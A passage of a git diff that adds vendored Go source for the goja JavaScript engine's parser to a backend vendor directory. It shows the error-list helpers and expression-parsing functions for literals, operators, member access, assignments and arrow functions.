*ErrorList) Add(position file.Position, msg string) { + *self = append(*self, &Error{position, msg}) +} + +// Reset resets an ErrorList to no errors. +func (self *ErrorList) Reset() { *self = (*self)[0:0] } + +func (self ErrorList) Len() int { return len(self) } +func (self ErrorList) Swap(i, j int) { self[i], self[j] = self[j], self[i] } +func (self ErrorList) Less(i, j int) bool { + x := &self[i].Position + y := &self[j].Position + if x.Filename < y.Filename { + return true + } + if x.Filename == y.Filename { + if x.Line < y.Line { + return true + } + if x.Line == y.Line { + return x.Column < y.Column + } + } + return false +} + +func (self ErrorList) Sort() { + sort.Sort(self) +} + +// Error implements the Error interface. +func (self ErrorList) Error() string { + switch len(self) { + case 0: + return "no errors" + case 1: + return self[0].Error() + } + return fmt.Sprintf("%s (and %d more errors)", self[0].Error(), len(self)-1) +} + +// Err returns an error equivalent to this ErrorList. +// If the list is empty, Err returns nil. +func (self ErrorList) Err() error { + if len(self) == 0 { + return nil + } + return self +} diff --git a/backend/vendor/github.com/dop251/goja/parser/expression.go b/backend/vendor/github.com/dop251/goja/parser/expression.go new file mode 100644 index 0000000..a480ecf --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/parser/expression.go @@ -0,0 +1,1666 @@ +package parser + +import ( + "strings" + + "github.com/dop251/goja/ast" + "github.com/dop251/goja/file" + "github.com/dop251/goja/token" + "github.com/dop251/goja/unistring" +) + +func (self *_parser) parseIdentifier() *ast.Identifier { + literal := self.parsedLiteral + idx := self.idx + self.next() + return &ast.Identifier{ + Name: literal, + Idx: idx, + } +} + +func (self *_parser) parsePrimaryExpression() ast.Expression { + literal, parsedLiteral := self.literal, self.parsedLiteral + idx := self.idx + switch self.token { + case token.IDENTIFIER: + self.next() + return &ast.Identifier{ + Name: parsedLiteral, + Idx: idx, + } + case token.NULL: + self.next() + return &ast.NullLiteral{ + Idx: idx, + Literal: literal, + } + case token.BOOLEAN: + self.next() + value := false + switch parsedLiteral { + case "true": + value = true + case "false": + value = false + default: + self.error(idx, "Illegal boolean literal") + } + return &ast.BooleanLiteral{ + Idx: idx, + Literal: literal, + Value: value, + } + case token.STRING: + self.next() + return &ast.StringLiteral{ + Idx: idx, + Literal: literal, + Value: parsedLiteral, + } + case token.NUMBER: + self.next() + value, err := parseNumberLiteral(literal) + if err != nil { + self.error(idx, err.Error()) + value = 0 + } + return &ast.NumberLiteral{ + Idx: idx, + Literal: literal, + Value: value, + } + case token.SLASH, token.QUOTIENT_ASSIGN: + return self.parseRegExpLiteral() + case token.LEFT_BRACE: + return self.parseObjectLiteral() + case token.LEFT_BRACKET: + return self.parseArrayLiteral() + case token.LEFT_PARENTHESIS: + return self.parseParenthesisedExpression() + case token.BACKTICK: + return self.parseTemplateLiteral(false) + case token.THIS: + self.next() + return &ast.ThisExpression{ + Idx: idx, + } + case token.SUPER: + return self.parseSuperProperty() + case token.ASYNC: + if f := self.parseMaybeAsyncFunction(false); f != nil { + return f + } + case token.FUNCTION: + return self.parseFunction(false, false, idx) + case token.CLASS: + return self.parseClass(false) + } + + if self.isBindingId(self.token) { + self.next() + return &ast.Identifier{ + Name: parsedLiteral, + Idx: idx, + } + } + + self.errorUnexpectedToken(self.token) + self.nextStatement() + return &ast.BadExpression{From: idx, To: self.idx} +} + +func (self *_parser) parseSuperProperty() ast.Expression { + idx := self.idx + self.next() + switch self.token { + case token.PERIOD: + self.next() + if !token.IsId(self.token) { + self.expect(token.IDENTIFIER) + self.nextStatement() + return &ast.BadExpression{From: idx, To: self.idx} + } + idIdx := self.idx + parsedLiteral := self.parsedLiteral + self.next() + return &ast.DotExpression{ + Left: &ast.SuperExpression{ + Idx: idx, + }, + Identifier: ast.Identifier{ + Name: parsedLiteral, + Idx: idIdx, + }, + } + case token.LEFT_BRACKET: + return self.parseBracketMember(&ast.SuperExpression{ + Idx: idx, + }) + case token.LEFT_PARENTHESIS: + return self.parseCallExpression(&ast.SuperExpression{ + Idx: idx, + }) + default: + self.error(idx, "'super' keyword unexpected here") + self.nextStatement() + return &ast.BadExpression{From: idx, To: self.idx} + } +} + +func (self *_parser) reinterpretSequenceAsArrowFuncParams(list []ast.Expression) *ast.ParameterList { + firstRestIdx := -1 + params := make([]*ast.Binding, 0, len(list)) + for i, item := range list { + if _, ok := item.(*ast.SpreadElement); ok { + if firstRestIdx == -1 { + firstRestIdx = i + continue + } + } + if firstRestIdx != -1 { + self.error(list[firstRestIdx].Idx0(), "Rest parameter must be last formal parameter") + return &ast.ParameterList{} + } + params = append(params, self.reinterpretAsBinding(item)) + } + var rest ast.Expression + if firstRestIdx != -1 { + rest = self.reinterpretAsBindingRestElement(list[firstRestIdx]) + } + return &ast.ParameterList{ + List: params, + Rest: rest, + } +} + +func (self *_parser) parseParenthesisedExpression() ast.Expression { + opening := self.idx + self.expect(token.LEFT_PARENTHESIS) + var list []ast.Expression + if self.token != token.RIGHT_PARENTHESIS { + for { + if self.token == token.ELLIPSIS { + start := self.idx + self.errorUnexpectedToken(token.ELLIPSIS) + self.next() + expr := self.parseAssignmentExpression() + list = append(list, &ast.BadExpression{ + From: start, + To: expr.Idx1(), + }) + } else { + list = append(list, self.parseAssignmentExpression()) + } + if self.token != token.COMMA { + break + } + self.next() + if self.token == token.RIGHT_PARENTHESIS { + self.errorUnexpectedToken(token.RIGHT_PARENTHESIS) + break + } + } + } + self.expect(token.RIGHT_PARENTHESIS) + if len(list) == 1 && len(self.errors) == 0 { + return list[0] + } + if len(list) == 0 { + self.errorUnexpectedToken(token.RIGHT_PARENTHESIS) + return &ast.BadExpression{ + From: opening, + To: self.idx, + } + } + return &ast.SequenceExpression{ + Sequence: list, + } +} + +func (self *_parser) parseRegExpLiteral() *ast.RegExpLiteral { + + offset := self.chrOffset - 1 // Opening slash already gotten + if self.token == token.QUOTIENT_ASSIGN { + offset -= 1 // = + } + idx := self.idxOf(offset) + + pattern, _, err := self.scanString(offset, false) + endOffset := self.chrOffset + + if err == "" { + pattern = pattern[1 : len(pattern)-1] + } + + flags := "" + if !isLineTerminator(self.chr) && !isLineWhiteSpace(self.chr) { + self.next() + + if self.token == token.IDENTIFIER { // gim + + flags = self.literal + self.next() + endOffset = self.chrOffset - 1 + } + } else { + self.next() + } + + literal := self.str[offset:endOffset] + + return &ast.RegExpLiteral{ + Idx: idx, + Literal: literal, + Pattern: pattern, + Flags: flags, + } +} + +func (self *_parser) isBindingId(tok token.Token) bool { + if tok == token.IDENTIFIER { + return true + } + + if tok == token.AWAIT { + return !self.scope.allowAwait + } + if tok == token.YIELD { + return !self.scope.allowYield + } + + if token.IsUnreservedWord(tok) { + return true + } + return false +} + +func (self *_parser) tokenToBindingId() { + if self.isBindingId(self.token) { + self.token = token.IDENTIFIER + } +} + +func (self *_parser) parseBindingTarget() (target ast.BindingTarget) { + self.tokenToBindingId() + switch self.token { + case token.IDENTIFIER: + target = &ast.Identifier{ + Name: self.parsedLiteral, + Idx: self.idx, + } + self.next() + case token.LEFT_BRACKET: + target = self.parseArrayBindingPattern() + case token.LEFT_BRACE: + target = self.parseObjectBindingPattern() + default: + idx := self.expect(token.IDENTIFIER) + self.nextStatement() + target = &ast.BadExpression{From: idx, To: self.idx} + } + + return +} + +func (self *_parser) parseVariableDeclaration(declarationList *[]*ast.Binding) *ast.Binding { + node := &ast.Binding{ + Target: self.parseBindingTarget(), + } + + if declarationList != nil { + *declarationList = append(*declarationList, node) + } + + if self.token == token.ASSIGN { + self.next() + node.Initializer = self.parseAssignmentExpression() + } + + return node +} + +func (self *_parser) parseVariableDeclarationList() (declarationList []*ast.Binding) { + for { + self.parseVariableDeclaration(&declarationList) + if self.token != token.COMMA { + break + } + self.next() + } + return +} + +func (self *_parser) parseVarDeclarationList(var_ file.Idx) []*ast.Binding { + declarationList := self.parseVariableDeclarationList() + + self.scope.declare(&ast.VariableDeclaration{ + Var: var_, + List: declarationList, + }) + + return declarationList +} + +func (self *_parser) parseObjectPropertyKey() (string, unistring.String, ast.Expression, token.Token) { + if self.token == token.LEFT_BRACKET { + self.next() + expr := self.parseAssignmentExpression() + self.expect(token.RIGHT_BRACKET) + return "", "", expr, token.ILLEGAL + } + idx, tkn, literal, parsedLiteral := self.idx, self.token, self.literal, self.parsedLiteral + var value ast.Expression + self.next() + switch tkn { + case token.IDENTIFIER, token.STRING, token.KEYWORD, token.ESCAPED_RESERVED_WORD: + value = &ast.StringLiteral{ + Idx: idx, + Literal: literal, + Value: parsedLiteral, + } + case token.NUMBER: + num, err := parseNumberLiteral(literal) + if err != nil { + self.error(idx, err.Error()) + } else { + value = &ast.NumberLiteral{ + Idx: idx, + Literal: literal, + Value: num, + } + } + case token.PRIVATE_IDENTIFIER: + value = &ast.PrivateIdentifier{ + Identifier: ast.Identifier{ + Idx: idx, + Name: parsedLiteral, + }, + } + default: + // null, false, class, etc. + if token.IsId(tkn) { + value = &ast.StringLiteral{ + Idx: idx, + Literal: literal, + Value: unistring.String(literal), + } + } else { + self.errorUnexpectedToken(tkn) + } + } + return literal, parsedLiteral, value, tkn +} + +func (self *_parser) parseObjectProperty() ast.Property { + if self.token == token.ELLIPSIS { + self.next() + return &ast.SpreadElement{ + Expression: self.parseAssignmentExpression(), + } + } + keyStartIdx := self.idx + generator := false + if self.token == token.MULTIPLY { + generator = true + self.next() + } + literal, parsedLiteral, value, tkn := self.parseObjectPropertyKey() + if value == nil { + return nil + } + if token.IsId(tkn) || tkn == token.STRING || tkn == token.NUMBER || tkn == token.ILLEGAL { + if generator { + return &ast.PropertyKeyed{ + Key: value, + Kind: ast.PropertyKindMethod, + Value: self.parseMethodDefinition(keyStartIdx, ast.PropertyKindMethod, true, false), + Computed: tkn == token.ILLEGAL, + } + } + switch { + case self.token == token.LEFT_PARENTHESIS: + return &ast.PropertyKeyed{ + Key: value, + Kind: ast.PropertyKindMethod, + Value: self.parseMethodDefinition(keyStartIdx, ast.PropertyKindMethod, false, false), + Computed: tkn == token.ILLEGAL, + } + case self.token == token.COMMA || self.token == token.RIGHT_BRACE || self.token == token.ASSIGN: // shorthand property + if self.isBindingId(tkn) { + var initializer ast.Expression + if self.token == token.ASSIGN { + // allow the initializer syntax here in case the object literal + // needs to be reinterpreted as an assignment pattern, enforce later if it doesn't. + self.next() + initializer = self.parseAssignmentExpression() + } + return &ast.PropertyShort{ + Name: ast.Identifier{ + Name: parsedLiteral, + Idx: value.Idx0(), + }, + Initializer: initializer, + } + } else { + self.errorUnexpectedToken(self.token) + } + case (literal == "get" || literal == "set" || tkn == token.ASYNC) && self.token != token.COLON: + _, _, keyValue, tkn1 := self.parseObjectPropertyKey() + if keyValue == nil { + return nil + } + + var kind ast.PropertyKind + var async bool + if tkn == token.ASYNC { + async = true + kind = ast.PropertyKindMethod + } else if literal == "get" { + kind = ast.PropertyKindGet + } else { + kind = ast.PropertyKindSet + } + + return &ast.PropertyKeyed{ + Key: keyValue, + Kind: kind, + Value: self.parseMethodDefinition(keyStartIdx, kind, false, async), + Computed: tkn1 == token.ILLEGAL, + } + } + } + + self.expect(token.COLON) + return &ast.PropertyKeyed{ + Key: value, + Kind: ast.PropertyKindValue, + Value: self.parseAssignmentExpression(), + Computed: tkn == token.ILLEGAL, + } +} + +func (self *_parser) parseMethodDefinition(keyStartIdx file.Idx, kind ast.PropertyKind, generator, async bool) *ast.FunctionLiteral { + idx1 := self.idx + if generator != self.scope.allowYield { + self.scope.allowYield = generator + defer func() { + self.scope.allowYield = !generator + }() + } + if async != self.scope.allowAwait { + self.scope.allowAwait = async + defer func() { + self.scope.allowAwait = !async + }() + } + parameterList := self.parseFunctionParameterList() + switch kind { + case ast.PropertyKindGet: + if len(parameterList.List) > 0 || parameterList.Rest != nil { + self.error(idx1, "Getter must not have any formal parameters.") + } + case ast.PropertyKindSet: + if len(parameterList.List) != 1 || parameterList.Rest != nil { + self.error(idx1, "Setter must have exactly one formal parameter.") + } + } + node := &ast.FunctionLiteral{ + Function: keyStartIdx, + ParameterList: parameterList, + Generator: generator, + Async: async, + } + node.Body, node.DeclarationList = self.parseFunctionBlock(async, async, generator) + node.Source = self.slice(keyStartIdx, node.Body.Idx1()) + return node +} + +func (self *_parser) parseObjectLiteral() *ast.ObjectLiteral { + var value []ast.Property + idx0 := self.expect(token.LEFT_BRACE) + for self.token != token.RIGHT_BRACE && self.token != token.EOF { + property := self.parseObjectProperty() + if property != nil { + value = append(value, property) + } + if self.token != token.RIGHT_BRACE { + self.expect(token.COMMA) + } else { + break + } + } + idx1 := self.expect(token.RIGHT_BRACE) + + return &ast.ObjectLiteral{ + LeftBrace: idx0, + RightBrace: idx1, + Value: value, + } +} + +func (self *_parser) parseArrayLiteral() *ast.ArrayLiteral { + + idx0 := self.expect(token.LEFT_BRACKET) + var value []ast.Expression + for self.token != token.RIGHT_BRACKET && self.token != token.EOF { + if self.token == token.COMMA { + self.next() + value = append(value, nil) + continue + } + if self.token == token.ELLIPSIS { + self.next() + value = append(value, &ast.SpreadElement{ + Expression: self.parseAssignmentExpression(), + }) + } else { + value = append(value, self.parseAssignmentExpression()) + } + if self.token != token.RIGHT_BRACKET { + self.expect(token.COMMA) + } + } + idx1 := self.expect(token.RIGHT_BRACKET) + + return &ast.ArrayLiteral{ + LeftBracket: idx0, + RightBracket: idx1, + Value: value, + } +} + +func (self *_parser) parseTemplateLiteral(tagged bool) *ast.TemplateLiteral { + res := &ast.TemplateLiteral{ + OpenQuote: self.idx, + } + for { + start := self.offset + literal, parsed, finished, parseErr, err := self.parseTemplateCharacters() + if err != "" { + self.error(self.offset, err) + } + res.Elements = append(res.Elements, &ast.TemplateElement{ + Idx: self.idxOf(start), + Literal: literal, + Parsed: parsed, + Valid: parseErr == "", + }) + if !tagged && parseErr != "" { + self.error(self.offset, parseErr) + } + end := self.chrOffset - 1 + self.next() + if finished { + res.CloseQuote = self.idxOf(end) + break + } + expr := self.parseExpression() + res.Expressions = append(res.Expressions, expr) + if self.token != token.RIGHT_BRACE { + self.errorUnexpectedToken(self.token) + } + } + return res +} + +func (self *_parser) parseTaggedTemplateLiteral(tag ast.Expression) *ast.TemplateLiteral { + l := self.parseTemplateLiteral(true) + l.Tag = tag + return l +} + +func (self *_parser) parseArgumentList() (argumentList []ast.Expression, idx0, idx1 file.Idx) { + idx0 = self.expect(token.LEFT_PARENTHESIS) + for self.token != token.RIGHT_PARENTHESIS { + var item ast.Expression + if self.token == token.ELLIPSIS { + self.next() + item = &ast.SpreadElement{ + Expression: self.parseAssignmentExpression(), + } + } else { + item = self.parseAssignmentExpression() + } + argumentList = append(argumentList, item) + if self.token != token.COMMA { + break + } + self.next() + } + idx1 = self.expect(token.RIGHT_PARENTHESIS) + return +} + +func (self *_parser) parseCallExpression(left ast.Expression) ast.Expression { + argumentList, idx0, idx1 := self.parseArgumentList() + return &ast.CallExpression{ + Callee: left, + LeftParenthesis: idx0, + ArgumentList: argumentList, + RightParenthesis: idx1, + } +} + +func (self *_parser) parseDotMember(left ast.Expression) ast.Expression { + period := self.idx + self.next() + + literal := self.parsedLiteral + idx := self.idx + + if self.token == token.PRIVATE_IDENTIFIER { + self.next() + return &ast.PrivateDotExpression{ + Left: left, + Identifier: ast.PrivateIdentifier{ + Identifier: ast.Identifier{ + Idx: idx, + Name: literal, + }, + }, + } + } + + if !token.IsId(self.token) { + self.expect(token.IDENTIFIER) + self.nextStatement() + return &ast.BadExpression{From: period, To: self.idx} + } + + self.next() + + return &ast.DotExpression{ + Left: left, + Identifier: ast.Identifier{ + Idx: idx, + Name: literal, + }, + } +} + +func (self *_parser) parseBracketMember(left ast.Expression) ast.Expression { + idx0 := self.expect(token.LEFT_BRACKET) + member := self.parseExpression() + idx1 := self.expect(token.RIGHT_BRACKET) + return &ast.BracketExpression{ + LeftBracket: idx0, + Left: left, + Member: member, + RightBracket: idx1, + } +} + +func (self *_parser) parseNewExpression() ast.Expression { + idx := self.expect(token.NEW) + if self.token == token.PERIOD { + self.next() + if self.literal == "target" { + return &ast.MetaProperty{ + Meta: &ast.Identifier{ + Name: unistring.String(token.NEW.String()), + Idx: idx, + }, + Property: self.parseIdentifier(), + } + } + self.errorUnexpectedToken(token.IDENTIFIER) + } + callee := self.parseLeftHandSideExpression() + if bad, ok := callee.(*ast.BadExpression); ok { + bad.From = idx + return bad + } + node := &ast.NewExpression{ + New: idx, + Callee: callee, + } + if self.token == token.LEFT_PARENTHESIS { + argumentList, idx0, idx1 := self.parseArgumentList() + node.ArgumentList = argumentList + node.LeftParenthesis = idx0 + node.RightParenthesis = idx1 + } + return node +} + +func (self *_parser) parseLeftHandSideExpression() ast.Expression { + + var left ast.Expression + if self.token == token.NEW { + left = self.parseNewExpression() + } else { + left = self.parsePrimaryExpression() + } +L: + for { + switch self.token { + case token.PERIOD: + left = self.parseDotMember(left) + case token.LEFT_BRACKET: + left = self.parseBracketMember(left) + case token.BACKTICK: + left = self.parseTaggedTemplateLiteral(left) + default: + break L + } + } + + return left +} + +func (self *_parser) parseLeftHandSideExpressionAllowCall() ast.Expression { + + allowIn := self.scope.allowIn + self.scope.allowIn = true + defer func() { + self.scope.allowIn = allowIn + }() + + var left ast.Expression + start := self.idx + if self.token == token.NEW { + left = self.parseNewExpression() + } else { + left = self.parsePrimaryExpression() + } + + optionalChain := false +L: + for { + switch self.token { + case token.PERIOD: + left = self.parseDotMember(left) + case token.LEFT_BRACKET: + left = self.parseBracketMember(left) + case token.LEFT_PARENTHESIS: + left = self.parseCallExpression(left) + case token.BACKTICK: + if optionalChain { + self.error(self.idx, "Invalid template literal on optional chain") + self.nextStatement() + return &ast.BadExpression{From: start, To: self.idx} + } + left = self.parseTaggedTemplateLiteral(left) + case token.QUESTION_DOT: + optionalChain = true + left = &ast.Optional{Expression: left} + + switch self.peek() { + case token.LEFT_BRACKET, token.LEFT_PARENTHESIS, token.BACKTICK: + self.next() + default: + left = self.parseDotMember(left) + } + default: + break L + } + } + + if optionalChain { + left = &ast.OptionalChain{Expression: left} + } + return left +} + +func (self *_parser) parseUpdateExpression() ast.Expression { + switch self.token { + case token.INCREMENT, token.DECREMENT: + tkn := self.token + idx := self.idx + self.next() + operand := self.parseUnaryExpression() + switch operand.(type) { + case *ast.Identifier, *ast.DotExpression, *ast.PrivateDotExpression, *ast.BracketExpression: + default: + self.error(idx, "Invalid left-hand side in assignment") + self.nextStatement() + return &ast.BadExpression{From: idx, To: self.idx} + } + return &ast.UnaryExpression{ + Operator: tkn, + Idx: idx, + Operand: operand, + } + default: + operand := self.parseLeftHandSideExpressionAllowCall() + if self.token == token.INCREMENT || self.token == token.DECREMENT { + // Make sure there is no line terminator here + if self.implicitSemicolon { + return operand + } + tkn := self.token + idx := self.idx + self.next() + switch operand.(type) { + case *ast.Identifier, *ast.DotExpression, *ast.PrivateDotExpression, *ast.BracketExpression: + default: + self.error(idx, "Invalid left-hand side in assignment") + self.nextStatement() + return &ast.BadExpression{From: idx, To: self.idx} + } + return &ast.UnaryExpression{ + Operator: tkn, + Idx: idx, + Operand: operand, + Postfix: true, + } + } + return operand + } +} + +func (self *_parser) parseUnaryExpression() ast.Expression { + + switch self.token { + case token.PLUS, token.MINUS, token.NOT, token.BITWISE_NOT: + fallthrough + case token.DELETE, token.VOID, token.TYPEOF: + tkn := self.token + idx := self.idx + self.next() + return &ast.UnaryExpression{ + Operator: tkn, + Idx: idx, + Operand: self.parseUnaryExpression(), + } + case token.AWAIT: + if self.scope.allowAwait { + idx := self.idx + self.next() + if !self.scope.inAsync { + self.errorUnexpectedToken(token.AWAIT) + return &ast.BadExpression{ + From: idx, + To: self.idx, + } + } + if self.scope.inFuncParams { + self.error(idx, "Illegal await-expression in formal parameters of async function") + } + return &ast.AwaitExpression{ + Await: idx, + Argument: self.parseUnaryExpression(), + } + } + } + + return self.parseUpdateExpression() +} + +func (self *_parser) parseExponentiationExpression() ast.Expression { + parenthesis := self.token == token.LEFT_PARENTHESIS + + left := self.parseUnaryExpression() + + if self.token == token.EXPONENT { + if !parenthesis { + if u, isUnary := left.(*ast.UnaryExpression); isUnary && u.Operator != token.INCREMENT && u.Operator != token.DECREMENT { + self.error(self.idx, "Unary operator used immediately before exponentiation expression. Parenthesis must be used to disambiguate operator precedence") + } + } + for { + self.next() + left = &ast.BinaryExpression{ + Operator: token.EXPONENT, + Left: left, + Right: self.parseExponentiationExpression(), + } + if self.token != token.EXPONENT { + break + } + } + } + + return left +} + +func (self *_parser) parseMultiplicativeExpression() ast.Expression { + left := self.parseExponentiationExpression() + + for self.token == token.MULTIPLY || self.token == token.SLASH || + self.token == token.REMAINDER { + tkn := self.token + self.next() + left = &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseExponentiationExpression(), + } + } + + return left +} + +func (self *_parser) parseAdditiveExpression() ast.Expression { + left := self.parseMultiplicativeExpression() + + for self.token == token.PLUS || self.token == token.MINUS { + tkn := self.token + self.next() + left = &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseMultiplicativeExpression(), + } + } + + return left +} + +func (self *_parser) parseShiftExpression() ast.Expression { + left := self.parseAdditiveExpression() + + for self.token == token.SHIFT_LEFT || self.token == token.SHIFT_RIGHT || + self.token == token.UNSIGNED_SHIFT_RIGHT { + tkn := self.token + self.next() + left = &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseAdditiveExpression(), + } + } + + return left +} + +func (self *_parser) parseRelationalExpression() ast.Expression { + if self.scope.allowIn && self.token == token.PRIVATE_IDENTIFIER { + left := &ast.PrivateIdentifier{ + Identifier: ast.Identifier{ + Idx: self.idx, + Name: self.parsedLiteral, + }, + } + self.next() + if self.token == token.IN { + self.next() + return &ast.BinaryExpression{ + Operator: self.token, + Left: left, + Right: self.parseShiftExpression(), + } + } + return left + } + left := self.parseShiftExpression() + + allowIn := self.scope.allowIn + self.scope.allowIn = true + defer func() { + self.scope.allowIn = allowIn + }() + + switch self.token { + case token.LESS, token.LESS_OR_EQUAL, token.GREATER, token.GREATER_OR_EQUAL: + tkn := self.token + self.next() + return &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseRelationalExpression(), + Comparison: true, + } + case token.INSTANCEOF: + tkn := self.token + self.next() + return &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseRelationalExpression(), + } + case token.IN: + if !allowIn { + return left + } + tkn := self.token + self.next() + return &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseRelationalExpression(), + } + } + + return left +} + +func (self *_parser) parseEqualityExpression() ast.Expression { + left := self.parseRelationalExpression() + + for self.token == token.EQUAL || self.token == token.NOT_EQUAL || + self.token == token.STRICT_EQUAL || self.token == token.STRICT_NOT_EQUAL { + tkn := self.token + self.next() + left = &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseRelationalExpression(), + Comparison: true, + } + } + + return left +} + +func (self *_parser) parseBitwiseAndExpression() ast.Expression { + left := self.parseEqualityExpression() + + for self.token == token.AND { + tkn := self.token + self.next() + left = &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseEqualityExpression(), + } + } + + return left +} + +func (self *_parser) parseBitwiseExclusiveOrExpression() ast.Expression { + left := self.parseBitwiseAndExpression() + + for self.token == token.EXCLUSIVE_OR { + tkn := self.token + self.next() + left = &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseBitwiseAndExpression(), + } + } + + return left +} + +func (self *_parser) parseBitwiseOrExpression() ast.Expression { + left := self.parseBitwiseExclusiveOrExpression() + + for self.token == token.OR { + tkn := self.token + self.next() + left = &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseBitwiseExclusiveOrExpression(), + } + } + + return left +} + +func (self *_parser) parseLogicalAndExpression() ast.Expression { + left := self.parseBitwiseOrExpression() + + for self.token == token.LOGICAL_AND { + tkn := self.token + self.next() + left = &ast.BinaryExpression{ + Operator: tkn, + Left: left, + Right: self.parseBitwiseOrExpression(), + } + } + + return left +} + +func isLogicalAndExpr(expr ast.Expression) bool { + if bexp, ok := expr.(*ast.BinaryExpression); ok && bexp.Operator == token.LOGICAL_AND { + return true + } + return false +} + +func (self *_parser) parseLogicalOrExpression() ast.Expression { + var idx file.Idx + parenthesis := self.token == token.LEFT_PARENTHESIS + left := self.parseLogicalAndExpression() + + if self.token == token.LOGICAL_OR || !parenthesis && isLogicalAndExpr(left) { + for { + switch self.token { + case token.LOGICAL_OR: + self.next() + left = &ast.BinaryExpression{ + Operator: token.LOGICAL_OR, + Left: left, + Right: self.parseLogicalAndExpression(), + } + case token.COALESCE: + idx = self.idx + goto mixed + default: + return left + } + } + } else { + for { + switch self.token { + case token.COALESCE: + idx = self.idx + self.next() + + parenthesis := self.token == token.LEFT_PARENTHESIS + right := self.parseLogicalAndExpression() + if !parenthesis && isLogicalAndExpr(right) { + goto mixed + } + + left = &ast.BinaryExpression{ + Operator: token.COALESCE, + Left: left, + Right: right, + } + case token.LOGICAL_OR: + idx = self.idx + goto mixed + default: + return left + } + } + } + +mixed: + self.error(idx, "Logical expressions and coalesce expressions cannot be mixed. Wrap either by parentheses") + return left +} + +func (self *_parser) parseConditionalExpression() ast.Expression { + left := self.parseLogicalOrExpression() + + if self.token == token.QUESTION_MARK { + self.next() + allowIn := self.scope.allowIn + self.scope.allowIn = true + consequent := self.parseAssignmentExpression() + self.scope.allowIn = allowIn + self.expect(token.COLON) + return &ast.ConditionalExpression{ + Test: left, + Consequent: consequent, + Alternate: self.parseAssignmentExpression(), + } + } + + return left +} + +func (self *_parser) parseArrowFunction(start file.Idx, paramList *ast.ParameterList, async bool) ast.Expression { + self.expect(token.ARROW) + node := &ast.ArrowFunctionLiteral{ + Start: start, + ParameterList: paramList, + Async: async, + } + node.Body, node.DeclarationList = self.parseArrowFunctionBody(async) + node.Source = self.slice(start, node.Body.Idx1()) + return node +} + +func (self *_parser) parseSingleArgArrowFunction(start file.Idx, async bool) ast.Expression { + if async != self.scope.allowAwait { + self.scope.allowAwait = async + defer func() { + self.scope.allowAwait = !async + }() + } + self.tokenToBindingId() + if self.token != token.IDENTIFIER { + self.errorUnexpectedToken(self.token) + self.next() + return &ast.BadExpression{ + From: start, + To: self.idx, + } + } + + id := self.parseIdentifier() + + paramList := &ast.ParameterList{ + Opening: id.Idx, + Closing: id.Idx1(), + List: []*ast.Binding{{ + Target: id, + }}, + } + + return self.parseArrowFunction(start, paramList, async) +} + +func (self *_parser) parseAssignmentExpression() ast.Expression { + start := self.idx + parenthesis := false + async := false + var state parserState + switch self.token { + case token.LEFT_PARENTHESIS: + self.mark(&state) + parenthesis = true + case token.ASYNC: + tok := self.peek() + if self.isBindingId(tok) { + // async x => ... + self.next() + return self.parseSingleArgArrowFunction(start, true) + } else if tok == token.LEFT_PARENTHESIS { + self.mark(&state) + async = true + } + case token.YIELD: + if self.scope.allowYield { + return self.parseYieldExpression() + } + fallthrough + default: + self.tokenToBindingId() + } + left := self.parseConditionalExpression() + var operator token.Token + switch self.token { + case token.ASSIGN: + operator = self.token + case token.ADD_ASSIGN: + operator = token.PLUS + case token.SUBTRACT_ASSIGN: + operator = token.MINUS + case token.MULTIPLY_ASSIGN: + operator = token.MULTIPLY + case token.EXPONENT_ASSIGN: + operator = token.EXPONENT + case token.QUOTIENT_ASSIGN: + operator = token.SLASH + case token.REMAINDER_ASSIGN: + operator = token.REMAINDER + case token.AND_ASSIGN: + operator = token.AND + case token.OR_ASSIGN: + operator = token.OR + case token.EXCLUSIVE_OR_ASSIGN: + operator = token.EXCLUSIVE_OR + case token.SHIFT_LEFT_ASSIGN: + operator = token.SHIFT_LEFT + case token.SHIFT_RIGHT_ASSIGN: + operator = token.SHIFT_RIGHT + case token.UNSIGNED_SHIFT_RIGHT_ASSIGN: + operator = token.UNSIGNED_SHIFT_RIGHT + case token.LOGICAL_AND_ASSIGN: + operator = token.LOGICAL_AND + case token.LOGICAL_OR_ASSIGN: + operator = token.LOGICAL_OR + case token.COALESCE_ASSIGN: + operator = token.COALESCE + case token.ARROW: + var paramList *ast.ParameterList + if id, ok := left.(*ast.Identifier); ok { + paramList = &ast.ParameterList{ + Opening: id.Idx, + Closing: id.Idx1() - 1, + List: []*ast.Binding{{ + Target: id, + }}, + } + } else if parenthesis { + if seq, ok := left.(*ast.SequenceExpression); ok && len(self.errors) == 0 { + paramList = self.reinterpretSequenceAsArrowFuncParams(seq.Sequence) + } else { + self.restore(&state) + paramList = self.parseFunctionParameterList() + } + } else if async { + // async (x, y) => ... + if !self.scope.allowAwait { + self.scope.allowAwait = true + defer func() { + self.scope.allowAwait = false + }() + } + if _, ok := left.(*ast.CallExpression); ok { + self.restore(&state) + self.next() // skip "async" + paramList = self.parseFunctionParameterList() + } + } + if paramList == nil { + self.error(left.Idx0(), "Malformed arrow function parameter list") + return &ast.BadExpression{From: left.Idx0(), To: left.Idx1()} + } + return self.parseArrowFunction(start, paramList, async) + } + + if operator != 0 { + idx := self.idx + self.next() + ok := false + switch l := left.(type) { + case *ast.Identifier, *ast.DotExpression, *ast.PrivateDotExpression, *ast.BracketExpression: + ok = true + case *ast.ArrayLiteral: + if !parenthesis && operator == token.ASSIGN { + left = self.reinterpretAsArrayAssignmentPattern(l) + ok = true + } + case *ast.ObjectLiteral: + if !parenthesis && operator == token.ASSIGN { + left = self.reinterpretAsObjectAssignmentPattern(l) + ok = true + } + } + if ok { + return &ast.AssignExpression{ + Left: left, + Operator: operator, + Right: self.parseAssignmentExpression(), + } + } + self.error(left.Idx0(), "Invalid left-hand side in assignment") + self.nextStatement() + return &ast.BadExpression{From: idx, To: self.idx} + } + + return left +} + +func (self *_parser) parseYieldExpression() ast.Expression { + idx := self.expect(token.YIELD) + + if self.scope.inFuncParams { + self.error(idx, "Yield expression not allowed in formal parameter") + } + + node := &ast.YieldExpression{ + Yield: idx, + } + + if 